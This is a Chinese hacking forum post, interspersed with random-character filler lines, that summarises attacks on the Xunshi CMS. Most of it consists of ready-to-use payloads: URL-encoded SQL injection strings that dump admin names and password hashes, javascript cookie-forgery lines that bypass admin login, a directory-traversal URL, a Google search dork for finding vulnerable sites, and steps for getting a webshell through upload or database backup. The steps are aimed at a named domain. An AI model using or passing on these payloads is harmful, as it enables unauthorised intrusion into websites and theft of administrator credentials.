讯时漏洞总结

admin

by:血封忆尘
. D0 n& r" u$ B
在网上也有什么讯时三板斧的文章..但我个人觉得有时候靠那三种还是入侵不了（随着版本的更新）

以下本文总结来自黑防去年第9期杂志上的内容...

先说一个注入吧:http://www.political-security.com/news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%

26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2

0 t# G5 U) {- J0 S$ w记得千万别多了空格，我测试站的时候就发现多了空格注入不出结果的情况
这里一个注入

/ ~( g) c+ w* n% _: e" E效果如图:

2 ^1 o1 X. y' `  P$ v8 n+ s
6 v* o4 U4 @# A( q2 P" R
1 N1 u' x3 F' h' d这样就很轻松可以得到管理用户名与密码..这里md5可以拿去破解.但是现在安全意识的提高.

密码复杂了..很难破出来..那么我们可以通过后来cookies欺骗进去

javascript:alert(document.cookie="adminuser="+escape("用户名"));javascript:alert(document.cookie="adminpass="+escape("md5值")); javascript:alert(document.cookie="admindj="+escape("1"));
% E1 \6 f3 v. w
/ k# e2 }3 h+ q那么这里就会出现一种情况了..如果后台找不到咋办呢??请看下一漏洞让你更轻松达到你想要的效果:

因为讯时结合了ewebeditor程序..而它没有在处理的时候忽视了ewebeditor有个可以列目录的漏洞
/ O$ S1 B& v& V+ Y' c
它是做了验证的..但讯时最没做好的地方就是验证..我们可以通过cookies欺骗来绕过验证.从而可以
7 h" c; A9 A+ J9 Y7 ~
" F2 T4 k9 m" v8 w! g; _访问这页面来列目录..步骤如下:
3 C! e# t! y* f
& Y3 _0 ?9 k( ?# F8 ~javascript:alert(document.cookie="admindj=1")

http://www.political-security.co ... asp?id=46&dir=../..

效果如图:



1 s) ^9 H/ D: k* ~+ f- O这样全站目录都能瞧了..找到后台目录..进去..

1 f* `, b7 h8 ?4 A$ Q- C那么进了后台怎么拿shell？？上传--备份就ok了..
# B* q6 d% I+ v) }" s
那么有时候有些管理在做后台功能的时候把备份页面去掉了...而他本机里备份页面还是存在的..

这个我也碰到过一次..你都可以通过列目录来实现..
& ?0 J7 m1 B5 C' M8 R
: e0 c$ o( }: N! w6 M# rjavascript:alert(document.cookie="admindj=1")
  A! ?  f9 Z" o) M5 I1 [$ s
http://www.political-security.co ... p?action=BackupData
4 N( f" g* {( k( O3 R- Q. a8 U
) I- Y2 V  b  m3 l+ I" P9 Y; B备份ok..
9 ^5 V; k" g/ D4 e
: z" L* k! h1 \/ y那么以上两个漏洞都被管理封住了...咋办??上面两个是比较常见的..那么下面一个注入漏洞呢?
. j8 `  J1 P, X- z! n) T" Z1 o( V
在admin目录下有个admin_lm_edit.asp页面..里面的id没有过滤 那么我们就可以先cookies下

$ B; m: M' o% P2 \8 g然后访问此页面进行注入..步骤如下:
( \$ _! `3 w/ e7 j$ S% z  l
+ J  }. F1 \8 K' |. s- x/ Ejavascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1")

$ W  k6 z$ L9 J" W6 W1 L然后请求admin/admin_chk.asp页面
$ t# Z3 v6 m' [' Z+ H5 J
) t3 m# U* q0 H8 N5 t2 N输入注入语句admin/admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%

26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin

效果如图所示:
8 F9 e" X: M1 U2 U0 w4 m" E
3 K: ~4 O* [" F0 F" ^, V6 _$ i7 U4 b

讯时漏洞2
3 O* |7 B% O" @4 y8 Y# O( Z! Qgoogle关键字：inurl:news_more.asp?lm2= （关键字很多的自己定义吧）

1、/admin/admin_news_pl_view.asp?id=1
//id任意 填入以下语句
4 t% F9 [( {! Q2 b
) p  _3 ^: m( l% k2 h% x' [/ I2、有时1显示错误信息的时候继续往后退2，3，4，我退到11才找到了页面，郁闷！
  h, E: _: Z2 E, E/ p( C9 e


3、|'+dfirst("[user]","[admin]")+chr(124)+dfirst("[pass]","[admin]"),username='
% k) c0 F% ~% O0 u: R
- K9 i) A( z/ b5 b) A+ \! [

爆出管理员帐号和密码了
# D3 b  T% M5 o- ?1 R
, M: Q$ F# O, ?% s
8 g2 d3 R! S+ @0 L6 Q
4、cookies进后台
* G: J$ |) l& T# e6 X* ^' j$ O
javascript:alert(document.cookie="adminuser=" + escape("admin"));alert(document.cookie="adminpass=" + escape("480d6d6b4d57cc903f3bab877248da40"));

4 a3 B' n+ n# x

4 U7 ?: {6 D3 e5、后台用了cookie验证，直接访问http://www.political-security.com/admin/admin_index.asp就OK了！

$ c5 v' L. C; l% e4 J0 R9 Z" [
1 Z* Q0 P# q+ p& c# F; y! o+ q3 g
6、后台有上传和备份取SHELL不难。
# |' w& q' L" A" \1 p% v
) F& f" i, `1 u+ Q. e+ ?7、讯时还有个列目录漏洞：http://www.political-security.co ... asp?id=46&dir=../..

6 f4 L  H4 s2 L7 M; N3 Y逍遥复仇：我搞了一个讯时cms4.1版本的没有数据库备份不知道怎么搞SHELL，有的说虽然后台显示但备份页面是存在的，登录后台后访问 http://www.political-security.com/admin/admin_db_backup.asp?action=BackupData，我这个没有，郁闷着呢，谁还有其他办法提供一下，谢谢！

/ p: y  z' ?' e  B- w+ q. {2 y; f5 Q